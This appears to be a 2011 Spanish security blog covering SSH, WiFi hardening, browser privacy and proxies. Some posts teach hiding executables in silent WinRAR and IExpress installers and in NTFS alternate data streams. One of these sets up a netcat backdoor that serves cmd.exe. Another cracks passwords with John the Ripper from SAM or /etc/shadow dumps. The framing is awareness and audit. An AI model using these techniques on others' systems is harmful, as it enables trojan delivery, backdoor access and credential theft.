A parte de la autenticación de usuarios mediante su contraseña, OpenSSH utiliza otros métodos más seguros para este fin. El que vamos a ver ahora se basa en la autenticación RSA, que consiste en disponer de un juego de llaves privada y pública que garantiza la identidad del usuario que se intenta conectar al equipo remoto. Este juego de llaves tiene la propiedad de que lo que se encripta con una, sólo se puede desencriptar con la otra, pero a partir de la llave pública no se puede averiguar la privada.

Para trabajar con llaves, primero habrá que asegurarse que se el archivo sshd_config está configurado correctamente. Para ello, tenemos que asegurarnos de que las siguientes líneas están descomentadas:

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile %h/.ssh/authorized_keys

Ahora procederemos a crear las llaves. Utilizaremos la aplicación ssh-keygen, incluida en la instalación de OpenSSH. Y ejecutamos lo siguiente:

ssh-keygen -t rsa (-t indica el tipo de llave a crear, RSA o DSA. Aquí utilizaremos RSA)

Al ejecutarlo lo primero que nos indicará es la ruta donde guardará las claves. Podemos dejarlo en blanco y que las copie en la ruta por defecto.

Lo siguiente que nos pide es una palabra clave (passphrase) para encriptar dicha llave. En caso de no introducir ninguna, la llave privada estará sin encriptar, lo cual no es recomendable para un uso habitual.

Una vez creadas, debemos copiar la llave pública al directorio Authorized_keys, situado en /home/tu_usuario/.ssh (.ssh es una carpeta oculta), del equipo remoto al que nos queremos conectar. Podemos copiarla normalmente o, utilizando la seguridad que nos proporciona OpenSSH, mediante la aplicación scp (dela que hablamos anteriormente).

Ahora, cuando con conectemos al equipo remoto por SSH, no nos pedirá la contraseña de inicio de sesión del usuario, solamente la passphrase con la que encriptamos la clave privada.

SSH, qué es y cómo funciona

2011-12-01T20:30:00.005+01:00

SSH (Secure Shell) se podría traducir como “intérprete de órdenes seguro”. Es un protocolo y el nombre del programa que lo implementa, y nos presenta una metodología a través de consola que asegura desde la autenticación hasta el cierre de la sesión.

La primera versión del protocolo lo implementa el finlandés Tatu Ylöen en 1995 como versión de software libre, y a finales de ese mismo año crea la compañía SSH Communications Security, manteniendo la licencia gratuita para uso de investigación y particular, pero de pago para empresas. En 1999 empiezan a aparecer las primeras versiones libres, como OpenSSH y que es con la que trabajaremos en este artículo.

OpenSSH

OpenSSH es un conjunto de aplicaciones que permiten la administración de un equipo remoto de forma segura empleando el protocolo SSH. Estas aplicaciones son:

ssh: la aplicación principal de OpenSSH, y que utilizaremos para conectarnos a un servidor SSH.

scp: programa y protocolo. El protocolo es una metodología para transferencia de archivos sobre TCP, confiando su seguridad y autenticación en SSH, y el programa scp es el script cliente que ejecuta los pasos de este protocolo.

sftp: permite más operaciones que scp y que son más típicas de una conexión por FTP.

sshd: servidor demonio SSH (del lado servidor)

ssh-keygen: herramienta para inspeccionar y generar claves RSA y DSA que son usadas para la autenticación del cliente o usuario.

ssh-agent y ssh-add: herramientas para autenticarse de manera más sencilla, manteniendo las claves listas para no tener que volver a introducirlas en cada acceso.

ssh-keyscan: escanea una lista de clientes y recolecta sus claves públicas.

El web del proyecto OpenSSH en español es http://www.openssh.com/es/index.html

Cliente y servidor

La arquitectura de OpenSSH funciona de forma “Cliente – Servidor”, es decir, tenemos que contar con un servidor que permita conectarnos (de esto se encarga la aplicación sshd). Una vez hayamos configurado el servidor, nos podremos conectar a él por medio de cualquier cliente SSH. Una de los más conocidos para Windows es puTTY.

Autenticación

Lo que logra hacer SSH en cada sesión es “compartir un secreto” en un medio público. La autenticación se realiza mediante el algoritmo Diffie-Hellman (desarrollado por Whitfield Diffie y Martin Hellman) basado en una técnica de criptografía asimétrica. Se trata de un problema matemático de logaritmos discretos, ya que se aplican números primos en las funciones exponenciales (la inversa de las logarítmicas), por lo tanto no hay un continuo entre un valor y otro, sino un salto desde un valor primo hasta el siguiente valor primo. Estos saltos hacen que sea una escala discreta de valores, en vez de una escala continua.

Se puede obtener un valor de forma muy sencilla conociendo algunos parámetros, pero si se intentara se deberían realizar miles de millones de operaciones.

A diferencia de FTP o Telnet (en los que los datos van en texto plano), SSH la primera trama que enviará será un conjunto de valores (correspondientes al algoritmo Diffie-Hellman), junto a una serie de algoritmos que el cliente puede soportar. Con este conjunto de valores el servidor calcula su clave de sesión, y le responderá en una segunda trama, con otro conjunto de valores y también los algoritmos que este acepta. Al recibir esta segunda trama, el cliente ya puede resolver la clave de sesión que será la misma que resolvió el servidor, y esta clave será con la que se cifrará todo a partir de la siguiente trama, en la que se empezará a enviar el usuario, la contraseña y el resto de información hasta cerrar la sesión SSH.

Por lo tanto, únicamente viajan dos tramas en texto plano, pero en ellas no se ha enviado ningún dato privado. Y si fueran interceptadas estas tramas por otro ordenador, no servirían de nada.

Túneles SSH

Al establecerse la conexión SSH queda formado un túnel entre ambos equipos, es decir, sólo entra al mismo quien tenga permiso, y todo aquel que pueda capturar su tráfico no debe tener forma de interpretarlo, ni modificarlo, ni desviarlo de su destino. Al crear un túnel, se establece una red particular entre ambos (VPN, Virtual Private Network).

En la siguiente entrada, practicaremos con SSH viendo algunos de los usos más comunes, así como sus archivos de configuración, creación de llaves, etc.

Parte de esta entrada ha sido extraída del libro Seguridad por Niveles, de Alejandro Corletti Estrada. Publicado con permiso del autor.

Analizando las aplicaciones de nuestro equipo y sus vulnerabilidades con Secunia

2011-11-29T21:03:00.002+01:00

Secunia PSI es una aplicación que detecta y corrige las vulnerabilidades de los programas que tengas instalados en tu equipo. Y en caso de encontrar programas con algún fallo de seguridad, se encarga de buscar, descargar e instalar automáticamente las actualizaciones disponibles para solucionarlos.

Se puede descargar desde aquí.

También existe una versión online (OSI, Online SoftwareInspector) que nos permite realizar un análisis igual que la aplicación, aunque menos exhaustivo (sobre 1.000 aplicaciones).Eso sí, no hace falta instalar nada.

Ahora vamos a probar Secunia en nuestro equipo. Haremos la prueba en un equipo con Windows 7 y varias aplicaciones instaladas. Una vez descargado e instalado (la instalación no es nada compleja ni requiere mucho tiempo), lo ejecutamos y vemos la pantalla principal:

En la parte izquierda vemos 2 menús, uno es la parte de escanear el equipo y sus resultados, y el otro es la parte de configuración, en la que podremos modificar la configuración del programa, tal y como vemos en la imagen siguiente:

Entre estas opciones están iniciar Secunia con el inicio, habilitar actualizaciones automáticas de los programas o crear un log con información de la ejecución del programa..

Volviendo a la pantalla principal, en la parte central vemos que nos encontramos en la opción de escanear el equipo. Y abajo nos muestra los pasos por los que irá yendo el escaneo, así como el estado del escaneo actual.

Para iniciar un escaneo, pulsamos en el botón Start Scan. Una vez iniciado, podemos observar cómo va progresando éste y en qué estado se encuentra.

El escaneo no tardará mucho en realizarse, dependiendo de las aplicaciones que tengamos instaladas. Una vez finalizado, nos mostrará una pequeña ventana con un breve resumen:

En nuestro caso nos indica que, en el Secunia System Store, hemos obtenido un 73%. El 100% sería que todas nuestras aplicaciones están correctamente actualizadas y por lo tanto no hay que actualizar nada. Aquí sacamos una nota de 73%, lo cual puede resultar un tanto pobre.

Más abajo nos muestra que hay 13 programas inseguros, 1 programa del que no han sacado más actualizaciones y se ha quedado antiguo, y 37 programas correctamente actualizados. Pulsamos en Scan results para ver un informe más completo:

En primer lugar nos muestra los programas anticuados y para los que ya no se ofrece soporte. Seguidamente, los programas que se deben actualizar y después los que están bien actualizados a su última versión. Haciendo doble clic en cualquier programa vemos más datos sobre el estado de esa aplicación, por ejemplo, en los que se deben actualizar tendremos opciones para realizar esta tarea, y en los que están obsoletos podremos ver un enlace que nos lleva al menú agregar o quitar programas de Windows.

Hay determinadas actualizaciones que, pulsando la opción de actualizar, nos lleva directamente a la descarga del ejecutable. Sin embargo, otras, como las actualizaciones de programas de Windows (.Net Framework, Internet Explorer,…), nos llevará a la web de Windows Update y las deberemos instalar manualmente desde allí.

Una vez actualizadas correctamente todas las aplicaciones y eliminadas las anticuadas (puede ocurrir que necesites estos programas y no desees quitarlos e instalar otro similar, en nuestro caso sí las hemos eliminado), procedemos a realizar un nuevo escaneo. Veremos cómo ha aumentado el Secunia System Store hasta el 100%, con todas las aplicaciones actualizadas y también las actualizaciones de Windows, y así, nuestro equipo estará más seguro.

También podremos comparar los resultados del primer escaneo con los de éste último. Si hacemos clic en la opción Dashboard (situada en la parte superior izquierda) nos aparecerá una ventana en la que veremos un breve resumen del último escaneo (donde también nos lo compara con el anterior), un gráfico de la evaluación del Secunia System Store según hemos ido actualizando el equipo, así como otros datos de interés.

Contacta con nosotros

2011-11-26T11:25:00.000+01:00

Hemos habilitado un espacio, en la parte superior de la página, junto a Página Principal, en la que cualquiera se puede poner en contacto con nosotros. La dirección es: zonasec2011@gmail.com.
A través de este correo electrónico nos podéis expresar vuestras sugerencias, críticas o cualquier tema relacionado con la seguridad.

También nos podéis seguir a través de Twitter y Facebook.

Esperamos vuestras dudas y cuestiones.

10 consejos para hacer más segura nuestra red WiFi

2011-11-24T20:32:00.003+01:00

Uno de los puntos débiles en cualquier red, ya sea particular o de una empresa, son las redes inalámbricas. Unas veces por dejadez, y otras porque creemos que la seguridad que viene por defecto ya es suficiente.
Por eso, desde aquí queremos publicar una serie de recomendaciones para tener en cuenta a la hora de securizar una red inalámbrica.

Cambiar la contraseña que viene por defecto. No la contraseña para conectar a la red, sino la contraseña de acceso a la administración del router. Admin/admin, admin/1234,… son usuarios y contraseñas muy comunes y que normalmente nadie cambia. Y si nos encontramos con un acceso no autorizado a nuestra red, estamos dando muchas facilidades para que se hagan con la administración de nuestro punto de acceso.
Actualizar el firmware del dispositivo a la versión más reciente, ya que puede incluir importantes mejoras de seguridad. Esto lo haremos desde la web del fabricante.
Usar una clave WPA/WPA2. Actualmente WEP no es lo suficientemente fuerte y hay métodos para averiguar la clave en poco tiempo.
Cambiar el SSID, es decir, el nombre de nuestra red, y ocultarla (que no se muestre el nombre). Así cualquiera que se quiera conectar deberá saberse el nombre de nuestra red.
Cambiar la IP que viene por defecto en el dispositivo, esto se hace desde la administración del router.
Activar el filtrado por MAC. Aunque puede ser un enredo y algo molesto tener que introducir cada MAC manualmente para que se conecte a nuestra red, es un buen método de seguridad.
Establecer un límite de dispositivos que se puedan conectar a la red inalámbrica. En una red particular, el número no debe ser muy alto (<5), ya que, por lo general, no tendremos muchos dispositivos para conectar.
Desactivar DHCP. Lo malo de esta opción es que tendremos que configurar manualmente las IP’s, puertas de enlace y demás de los dispositivos que se quieran conectar a nuestra red wifi. A cambio nos ofrecerá más seguridad en ella. También se realiza desde la administración del punto de acceso.
Cambiar todas las claves regularmente. Tanto las claves de acceso, como las de la administración del AP (Access Point), ya que pueden haberlas averiguado y que nosotros no nos demos cuenta.
Desactivar el punto de acceso cuando no se utilice. Mucha gente deja encendido y permanentemente conectado el router o módem a la corriente, pero si no está encendido, nadie podrá entrar.

Siguiendo estas recomendaciones podremos hacer que nuestra red inlámbrica sea más segura y le pondremos las cosas más difíciles a cualquiera que intente entrar en ella. Pero aún así, no será una red 100% segura, ya que, como dijo Gene Spafford: "el único sistema que es totalmente seguro es aquel que se encuentra apagado y desconectado, guardado en una caja fuerte de titanio que está enterrada en cemento, rodeada de gas nervioso y de un grupo de guardias fuertemente armados. Aún así, no apostaría mi vida en ello".

Crear archivos autoejecutables con Winrar (III de IV)

2011-11-22T20:05:00.000+01:00

Winrar es un compresor y descompresor de archivos. Es de los más famosos y uno de los más utilizados hoy en día, debido a su facilidad de uso, y a que soporta la mayoría de los formatos de compresión conocidos.

En Winrar hay una opción (poco conocida) en la que podemos meter un archivo dentro del fichero comprimido y hacer que se ejecute automáticamente.

Antes de nada, seleccionaremos los archivos a añadir dentro del .rar. Para este ejemplo, nosotros hemos seleccionado una imagen (.jpg) y un ejecutable (.exe). También deberemos crear un archivo .bat e introducirlo en el archivo comprimido, ya que será lo más importante de todo esto.

Vamos a empezar creando el archivo por lotes, el .bat, y que deberá contener lo siguiente:

@echo off

start foto.jpg

start notepad.exe

exit

Éstos comandos lo que harán será abrir los archivos indicados al ejecutarse el .bat.

Ahora procederemos a crear el archivo comprimido con Winrar. Para ello, seleccionamos los 3 ficheros y con el botón derecho encima de cualquiera de ellos, hacemos clic en “Añadir al archivo…”. Tras esto, se nos abrirá una ventana de Winrar, en la que podremos modificar las opciones de compresión, tipo de compresión y otras muchas opciones.

La primera pestaña es “General”, y en ella modificaremos varias opciones. En nombre, formato y método de compresión elegimos el que queramos, es indiferente para el resultado final. En método de compresión debemos marcar “Crear un archivo autoextraíble”. Esto es importante, ya que es en lo que se basa esta práctica.

Ahora nos vamos a la pestaña Avanzado, y hacemos clic en el botón “Autoextraíble”. Se nos abrirá una nueva ventana. En la pestaña “General”, en el campo “Ejecutar tras la extracción”, escribimos el nombre del archivo .bat, en nuestro caso archivo.bat. En la pestaña “Modos”, marcamos la opción Ocultar todo. Y en la pestaña Actualizar, dentro de Modo de estructura, elegimos Sobrescribir todos los ficheros. Con esto le hemos dicho que tras ejecutar los archivos comprimidos, ejecute el bat que creamos anteriormente, que lo haga en modo oculto y que si hay archivos con esos nombres, los sobrescriba sin preguntar. Esta ventana tiene otras opciones, como la pestaña “Texto e icono”, en la que podremos modificar el icono del archivo y más cosas. Eso ya a gusto de cada uno. Pulsamos Aceptar. Y volvemos a pulsar Aceptar para crear nuestro archivo autoejecutable. Dependiendo del tamaño de los archivos tardará más o menos en comprimir.

Una vez creado el archivo lo ejecutamos para comprobar que se abre todo lo indicado en el .bat.

En este ejemplo solo hemos utilizado una imagen y el bloc de notas (notepad.exe) para que se abran, pero ¿y si en vez de estos archivos inofensivos introducimos un virus, y lo propagamos por mail, por webs de descargas, foros, etc…?

Y aquí tienen una prueba más de lo fácil que es poder ocultar un archivo peligroso en algo aparentemente inofensivo. Muchos podrán pensar: “esto lo detecta el antivirus, no pasa nada”, pero no es tan difícil hacer que un archivo peligroso no lo detecte el antivirus. En una próxima entrada, escribiré un manual sobre ello.

Configuración de la seguridad en Mozilla Firefox e Internet Explorer (II de II)

2011-11-20T18:42:00.000+01:00

Segunda parte de los artículos dedicados a los navegadores (aquí la primera)
En esta presentación veremos los distintos parámetros de seguridad que podremos configurar tanto en Mozilla Firefox como en Internet Explorer.

Navegadores

View more presentations from ZonaSec .

Auditoría de passwords con John the Ripper (Windows/ Linux)

2011-11-19T12:03:00.000+01:00

John the Ripper es un programa que aplica distintos ataques para descifrar contraseñas. Es muy popular, debido a su facilidad de uso y a que es compatible con 15 Sistemas Operativos. No necesita instalación.

Los ataques que utiliza son fuerza bruta y diccionario, aunque en éste ultimo también puede cambiar palabras, añadir números, signos, etc…

Entre los algoritmos de cifrado que es capaz de romper están SHA-1, MD5 y DES, entre otros.

Ahora vamos a ver cómo se utiliza en Windows y Linux.

WINDOWS

Para empezar, debemos obtener una copia del archivo SAM (Security Account Manager), que es un fichero que almacena los nombres de usuarios y contraseñas (cifradas) del equipo o dominio. Podemos utilizar, para realizar esta tarea, pwdump, fgdump, u otro programa que haga el mismo trabajo.

Una vez tengamos el archivo con las contraseñas y John the Ripper descargado, ejecutaremos la siguiente orden, (en la consola de comandos), para comenzar la búsqueda de claves:

john archivo_claves

Así utilizará los métodos single crack, wordlist e incremental, en ese orden. Pero, ¿Cómo funcionan estos métodos?:

Single crack: prueba el nombre del usuario, el nombre del home y combinaciones entre éstos y números y letras para dar con la clave. Para utilizar sólo este método:

john --single fichero_claves

Wordlist: utiliza el método por diccionario. Podemos utilizar el que viene por defecto o probar con otro. Utilización:

john --wordlist=password.lst ficero_claves

(password.lst es el diccionario que viene con el programa)

Incremental: es el método más potente para averiguar contraseñas, ya que puede probar todas las combinaciones de caracteres posibles. Utilización:

john --incremental fichero_claves

    john –i fichero_claves (método abreviado)

En el modo incremental le podemos indicar los tipos de caracteres que utilizará:

john –i=alpha fichero_claves

Alpha utilizará los caracteres de ‘a’ a ‘zzzzzzzz’. Los modos del método incremental son: all, alnum, alpha, digits, lanman.

Una vez haya acabado el programa de averiguar las contraseñas, las podemos visulizar ejecutando:

john --show fichero_claves

Ésta es solo una muestra de algunos parámetros. Para ver todas las posibilidades del programa, lo mejor es acudir a la documentación del mismo.

También hay un fichero de configuración (john.conf o jhon.ini) en el que podremos definir multitud de parámetros y opciones.

LINUX

Es igual que en Windows, sólo cambia la forma de instalarlo (también lo podremos descargar de aquí, o ejecutando, por ejemplo, apt-get install john) y la forma en que coge el archivo con las contraseñas.

En Linux, no existe un solo archivo con los usuarios y contraseñas, sino que existe uno para cada cosa, usuarios (archivo passwd) y contraseñas (archivo shadow).

Así que para que Jhon the Ripper pueda realizar bien su trabajo, hay que combinar estos documentos en uno solo. Y para esto ejecutaremos:

unshadow /etc/passwd /etc/shadow > fichero_claves

unshadow es una utilidad que viene incluida con John the Ripper, por lo que habrá que instalarlo primero para realizar esta paso.

Una vez hayamos obtenido el fichero de claves, la utilización los comandos, parámetros y demás es exactamente igual que en Windows.

ADVERTENCIA: Ésta es una herramienta que utilizan los administradores de sistema para comprobar la vulnerabilidad de las claves en su red y averiguar claves débiles, para así poder mejorar la seguridad. En ningún caso se debe utilizar para crackear contraseñas de una red que no sea nuestra.

Vulnerabilidades y uso de los principales navegadores web (I de II)

2011-11-16T20:14:00.001+01:00

Para esta semana escibiremos un par de entradas sobre los 5 navegadores web más conocidos, viéndolos desde el lado de la seguridad. En la primera entrada se muestran estadísticas sobre su uso, así como las vulnerabilidades encontradas últimamente.

En esta primera imagen vemos el uso de los principales navegadores a nivel mundial, desde octubre de 2010 hasta octubre de 2011.

Source: StatCounter Global Stats - Browser Market Share

El más usado, como era de esperar, es Internet Explorer, aunque descendiendo. De hecho, ha pasado de ocupar un 50% hace un año a un 40% en estos momentos. Le siguen Mozilla Firefox y Google Chrome, ambos igualados en torno al 27%. Pero el navegador de Google va subiendo con fuerza, al contrario que Firefox, que va perdiendo cuota. Bastante más abajo, se encuentran Safari y Ópera, con porcentajes que no superan el 10%.

VULNERABILIDADES

En esta otra imagen, vemos las vulnerabilidades encontradas en los 5 principales navegadores, desde marzo de 2011 hasta hoy.

Elaboración propia

(De Chrome y Firefox aparecen más versiones porque son las que han aparecido en ese periodo de tiempo.)

Esta clasificación la lidera Google Chrome, en el que han aparecido 250 vulnerabilidades. Le sigue muy de cerca Safari 5, con 200. Mucho más abajo vemos a Firefox e Internet Explorer, con unas 20 y 30 vulnerabilidades respectivamente. Y ya en el fondo de la lista, Opera 11, con apenas 10 vulnerabilidades encontradas.

CONCLUSIONES

El uso de los navegadores y su ascenso está directamente relacionado con sus vulnerabilidades. Si bien hace un tiempo era Internet Explorer el que monopolizaba el mercado de los navegadores, a medida que su uso ha ido decreciendo, sus vulnerabilidades también. Aunque tampoco hay que restarle mérito a los desarrolladores de Microsoft que han hecho un buen trabajo.

En el lado opuesto vemos a Google Chrome. A medida que se ha ido popularizando y ganando usuarios, han ido apareciendo vulnerabilidades, hasta llegar a un número considerable y situarse en lo más alto de la tabla para este periodo.

¿Qué información puede revelar nuestro navegador sobre nosotros o nuestro sistema?

2011-11-13T21:26:00.000+01:00

Muchas veces, cuando entramos a una página web, vemos algún banner en el que nos muestra información sobre nuestro equipo o anuncios en el idioma o de la zona geográfica desde donde nos conectamos. Por ejemplo, un banner con nuestra IP y nuestro ISP (ejemplo adslayuda), publicidad de Google sólo para la ciudad desde nos estamos conectando, etc…

Lo mejor para proteger parte de nuestra privacidad es utilizar un proxy, cómo publicamos hace poco, o alguna web de navegación anónima.

Pero… ¿qué puede averiguar mi navegador sobre mí y mi equipo?

Una buena web para averiguar éstos datos es http://browserspy.dk/. En esta página podremos realizar varios tests para comprobar nuestra privacidad. Esta es la página principal, en la que se distinguen las distintas partes: en el centro publican noticias sobre la web y sitios en los que se habla de ella. Y a la derecha es donde se encuentran los distintos tests para realizar, y que es la parte que más nos interesa.

Algunos de los tests que podremos comprobar son:

Tipos de archivos permitidos
Información sobre cookies (si están habilitadas, número de cookies, tamaño,…)
Información sobre Adobe Flash
Fecha y hora de nuestro equipo
Ancho de banda
Si navegamos a través de un proxy
Geolocalización
etc.

Ahora veremos capturas de pantalla sobre algunos de estos tests para ver lo que nos muestran. Para empezar vemos el test sobre Adobe Reader, en el que muestra si lo tenemos instalado y con qué complementos (si los hay):

En este otro vemos información de nuestro procesador:

Geolocalización:

Imágenes soportadas por nuestro navegador:

Nuestra IP:

Información sobre nuestro Sistema Operativo:

Una lista de los plugins instalados en nuestro navegador:

Información sobre la pantalla (resolución, etc…)

Estos son sólo algunos de los tests que podremos hacer. Entrar en la página http://browserspy.dk y comprobar vosotros mismos estos tests u otros que os interesen, para ver qué información recopila sobre vuestro equipo.

También es interesa ver qué información es capaz de mostrar con la navegación privada o a través de un proxy.

Recomendaciones generales al navegar por Internet:

Utilizar la navegación en modo privado, siempre que sea posible. Todos los navegadores populares ya incluyen esta opción.Navegar a través de una VPN (Red Privada Virtual) o proxy.

Limpiar las cookies e información privada de nuestro navegador. Se puede configurar el navegador para que elimine esta información cada vez que lo cerramos.

Unir 2 archivos ejecutables en uno solo (II de IV)

2011-11-12T12:46:00.001+01:00

Siguiendo los tutoriales sobre adjuntar unos archivos con otros, y que empezamos con éste, seguimos con otro mucho más fácil de utilizar, y sobre todo, mucho más potente.

En esta ocasión utilizaremos IExpress, una utilidad que viene por defecto en Windows, aunque oculta, y que muy poca gente conoce. La principal utilidad de este asistente es la creación de archivos auto-extraíbles y auto-instalables. Y eso es lo que crearemos aquí. Antes de abrir el programa, escogeremos los 2 ejecutables a unir. Para este ejemplo nosotros vamos a utilizar calc.exe (la calculadora) y virus.exe (no es un virus real, es un archivo con ese nombre que no contiene nada. Cada uno puede utilizar los archivos que desee bajo su responsabilidad). Aunque es preferible elegir un archivo que realmente instale algo, como IE9, Windows Media, etc...

Para iniciarlo, abrimos el menú ejecutar y escribimos iexpress. Se iniciará un asistente. En la primera pantalla, elegimos Create new Self Extraction Directive file, ya que lo que queremos hacer es crear uno nuevo, y pulsamos Siguiente.

Aquí nos preguntará por lo que queremos que haga el ejecutable creado: ejecutar 2 o más archivos en la instalación, solo extraer los archivos o solo crear archivos comprimidos. Para ésta práctica elegimos la primera opción.

En la tercera pantalla le daremos un nombre al paquete de instalación. Nosotros escribiremos Calculadora.

En esta ventana elegiremos si queremos que el usuario confirme la instalación del paquete o no. Marcamos no prompt y pulsamos siguiente.

En este otro paso podremos seleccionar una licencia que se mostrará durante la instalación. Seleccionamos Don not display a license.

Aquí ya elegiremos los archivos a agregar. Pulsamos Add y los añadimos. Una vez añadidos los 2, pulsamos siguiente.

En el campo Install program, seleccionamos el archivo virus.exe, y en Post Install Command, el archivo calc.exe

Ahora seleccionamos la opción en la que queremos que se ejecute nuestro paquete en la instalación. Marcamos default (por defecto).

Ya casi estamos acabando. En este punto podremos poner un mensaje que se mostrará al finalizar la instalación, algo así como “la instalación ha finalizado correctamente”. En este caso no escribiremos nada, aunque cada uno puede poner lo que quiera.

Ahora elegimos la ruta en la que se guardará nuestro paquete, y el nombre que le daremos. Cada uno le da el nombre que quiera y lo guarda donde quiera (pero acordaros después).

Más abajo se encuentran 2 opciones: Hide File Extracting Progress Animation from User y Store files using Long Name Incide Package. La primera es para que el paquete de instalación extraiga los archivos para su ejecución sin que nosotros nos percatemos, y la segunda es para lo contrario, mostrar la extracción de los archivos del paquete. Nosotros elegimos la primera.

En este otro paso, podremos indicarle que reinicie el equipo tras la instalación. A elección de cada uno.

Aquí le indicamos si queremos guardar un archivo con la información de este paquete. Marcamos Don’t save.

Y si ya estamos seguros de la configuración de nuestro paquete, pulsamos siguiente para crearlo. Tras acabar (no tardará demasiado), nos mostrará un resumen de lo que ha tardado y si se ha hecho correctamente, además de otros datos. Pulsamos finalizar y el proceso habrá acabado.

Ahora pensar un momento… ¿cuántos programas habréis instalado en vuestros equipos que no provenían de un sitio 100% de confianza? ¿Cuántas instalaciones habéis hecho sin saber realmente lo que estabais instalando? Colar un keylogger, un troyano, o cualquier otro tipo de malware en una instalación es muy fácil, como acabamos de ver, y no lleva más de 5 minutos. Así que habrá que vigilar bien que instalamos y de donde nos hemos bajado ese archivo, para evitar problemas en el futuro.

Cadenas Multiproxys para no dejar rastro en Internet

2011-11-09T16:53:00.001+01:00

Un proxy es un programa que realiza el acceso a Internet en lugar de otro ordenador. Es como un punto intermedio entre un ordenador conectado a Internet y el servidor al que está accediendo. Cuando navegamos a través de un proxy, nosotros en realidad no estamos accediendo directamente al servidor, sino que realizamos una solicitud sobre el proxy y es éste quien se conecta con el servidor que queremos acceder y nos devuelve el resultado de la solicitud.

Hay varios programas para realizar esta tarea. En esta ocasión vamos a realizarlo utilizando Sockschain, que podemos descargar desde aquí.

Una vez instalado y ejecutado, vemos que su interfaz es esta:

Haciendo doble clic en el nombre de cadena, nos saldrá un menú de configuración en el que podremos editar varias opciones, como nombre, puerto a través del cual se conectará, proxys que utilizará, etc.

Para elegir los proxys a través de los cuales irá nuestra conexión, debemos ir a la pantalla Proxy Manager, que se encuentra en Tools> Proxy Manager, o pulsando en el botón de los calcetines. En la ventana que nos aparece, nos muestra una lista de los proxys a los que nos podremos conectar. Además, también se podrá añadir más proxys, borrar alguno de los existentes, editarlos y una opción muy interesante, que es actualizar la lista.

Actualizamos la lista de proxys, para tenerla lo más actual posible. Una vez actualizadas, pulsamos en Test All, para que compruebe la conectividad con todos. Una vez probados, podemos borrar los que no están activos. Cerramos esta ventana, y hacemos doble clic sobre Test Chain. En el panel de la derecha elegimos los proxys a utilizar, marcándolos y pulsando en Add. En este ejemplo vamos a utilizar una cadena de 3 proxys, y se irá cambiando de un proxy a otro cada 100 segundos automáticamente. Cada uno puede utilizar los que desee, utilizar más o menos tiene sus ventajas e inconvenientes, que veremos más adelante.

La configuración quedará como se muestra a continuación:

Una vez hecho esto, hay que configurar los programas para que salgan a través del proxy. En los navegadores, esto se puede hacer desde su propio menú de configuración, añadiendo como IP del proxy 127.0.0.1 y puerto 80 (o el que hayamos puesto en Sockschain). Pero para otras aplicaciones podemos usar otro programa llamado Sockscap (disponible aquí), que nos hará de puente entre el proxy y la aplicación incapaz de llegar a él.

Una vez instalado, para añadir una nueva aplicación, pulsamos en el botón New, y buscamos el programa en el equipo. El resto de campos se rellenarán automáticamente. Aceptamos y pulsamos en Run. Esto es importante, ya que las aplicaciones deben ser ejecutadas desde este programa, sino no funcionarán a través del proxy. También hay que destacar que Sockscap debe estar funcionando a través de 127.0.0.1 y puerto 80 (o el que le hayamos puesto en Sockschain). Esto se configura en File> Settings, en Sockscap.

VENTAJAS EN EL USO DE PROXYS

Posibilidad de navegar anónimamente
Es más difícil seguir el rastro de nuestra IP, sobre todo si utilizamos varios proxys y vamos saltando de uno a otro.

INCONVENIENTES

Cuantos más proxys usemos, más se verá perjudicada la calidad de la red, y por lo tanto, más lentas todas las conexiones.
No sabemos a quién pertenecen los proxys a los que nos conectamos, ni quién nos puede estar viendo, así que hay que tener cuidado con lo que se hace.
Estos proxys pueden estar siendo utilizados por varias personas a la vez, y un exceso de usuarios haría perder velocidad y calidad de la red

ALTERNATE DATA STREAMS, o como esconder un archivo dentro de otro (I de IV)

2011-11-06T19:30:00.003+01:00

Empezaremos hablando de qué es y como funciona. Esencialmente, los "Alternate Data Streams" (Flujos Alternativos de Datos) son ficheros dentro de otro fichero. Se puede pensar en un fichero como una secuencia ordenada de bytes accesibles por un nombre. En NTFS (Sistema de Archivos de Nueva Tecnología) esto es el flujo de datos que se obtiene al abrir el fichero de forma normal. Sin embargo, NTFS tiene la capacidad de guardar flujos alternativos de datos junto al principal con sólo especificar un nombre para los mismos.

Para algunos es un bug que afecta a todos los Windows; para otros simplemente una característica de NTFS utilizada para almacenar información asociada a un fichero.

Ahora vamos a hacer una prueba simple. Para empezar, abrimos una consola de comandos y desde allí ejecutamos los siguientes comandos:

echo texto1>archivo.txt

echo texto2>final.txt

(Creamos 2 ficheros con el texto indicado)

type final.txt>archivo.txt:final.txt

(El fichero archivo.txt contiene el fichero final.txt)

more <archivo.txt:final.txt

(Vemos el contenido de final.txt)

En este otro ejemplo lo veremos funcionar con archivos ejecutables:

type notepad.exe>archivo.txt:notas.exe

     start ./archivo.txt:notas.exe

(Con estos comandos lo ejecutamos)

Y si le echamos imaginación, podemos utilizar otros programas y darle otros usos:

type nc.exe>archivo.txt:backdoor.exe

     start ./archivo.txt:backdoor.exe –d –L –p800 –t –e cmd.exe

En este último ejemplo, ejecutamos el programa Netcat (del que hablaremos más adelante) y varios de sus parámetros, para crear una puerta trasera, y al entrar por esta puerta se abra una ventana de comandos.

Por último, indicar que en las últimas versiones de Windows no funciona la ejecución, pero sí la forma de esconder los archivos. También se puede introducir un fichero a un directorio, ya que no sólo funciona con otros archivos.

Rastrear el origen del spam

2011-11-03T12:10:00.001+01:00

En esta entrada vamos a tratar un tema interesante: el spam que continuamente nos llega a nuestro mail. Vamos a utilizar de ejemplo un mail que ultimamente me llega mucho a lguna de las cuentas que tengo, y en el que te indican que debes actualizar los datos de noseque banco para poder desbloquear tu cuenta.

Para empezar vemos varios detalles que nos pueden hacer sospechar: en el primer parrafo nos informa de que ha habido un problema con una cuenta de Bankia, sin embargo en la direccion de origen y en el resto del mail se nos indica que es de BBVA; o que los enlaces no nos llevan a donde indican, sino a otra direccion que nada tiene que ver con un banco (ni siquieran son https).

Viendo el código fuente del mensaje, vemos la IP de la que procede el mail, en este caso 81.94.206.18

Medianta la geolocalización de IP, aquí utilizaremos el servicio que nos ofrece ADSLayuda, podemos averiguar desde qué región se nos ha mandado el mail:

Vemos que el dominio al que pertenece esta IP es Redstation.net.uk. Ahora, nos vamos a alguna web tipo whois (por ejemplo http://whois.domaintools.com/)y averiguaremos datos sobre este dominio:

Domain name:
        redstation.net.uk

    Registrant:
        Redstation Limited

    Registrant type:
        UK Limited Company, (Company number: 3590745)

    Registrant's address:
        2 Frater Gate Business Park
        Aerodrome Road
        Gosport
        Hampshire
        PO13 0GW
        United Kingdom

    Registrar:
        Redstation Limited [Tag = REDSTATION]
        URL: http://www.redstation.com

